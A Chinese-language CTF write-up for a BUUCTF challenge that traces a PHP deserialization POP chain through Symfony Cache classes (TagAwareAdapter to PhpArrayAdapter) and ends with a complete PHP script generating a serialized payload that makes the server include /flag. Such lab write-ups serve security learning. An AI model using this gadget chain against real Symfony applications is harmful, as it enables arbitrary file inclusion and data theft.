u1s1。BUU一分题太顶了
这题。看了好久WP的情况下才复现。。。
涉及类的知识有点多。命名空间。继承。接口。啥的
首先source.tar.gz得到源码
既然是反序列化。首先搜_destruct()
去找一个反序列化的点。
找到vendor\symfony\symfony\src\Symfony\Component\Cache\Adapter\TagAwareAdapter.php
这个类中的__destruct
方法会调用$this->commit()
而$this->commit()
又会调用$this->invalidateTags([])
进入invalidateTags方法中。
if ($this->deferred) {
#判断$this->deferred是否存在
$items = $this->deferred;
foreach ($items as $key => $item) {
#将$this->deferred。键 值分离
if (!$this->pool->saveDeferred($item)) {
#调用$this->pool-saveDeferred($item)
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
在这里$this->pool
是可控的。也就是说。我们需要找一个类中有saveDeferred方法的类
去看__construct
方法中$this->pool
得是AdapterInterface接口的
那么现在我们得找一个Adapterinterface接口并且存在saveDferred方法的类
进入这个类。
全局搜CacheItemInterface接口
条件都满足了。继续往下走
它会执行$this->initialize()
方法
他会incluce。一个文件。那么我们可以盲猜/flag。
POP链就是这样。在构造payload的时候。还得注意各个类的命名空间
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file='/flag';
}
class TagAwareAdapter{
private $deferred;
private $pool;
public function __construct(){
$this->deferred = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$a=new TagAwareAdapter();
echo urlencode(serialize($a));
}
?>
#这两个类都是在Symfony\Component\Cache\Adapter命名空间下的
#而Cacheitem类则不在同一个类下。所以我们得新建一个命名空间。并且use导入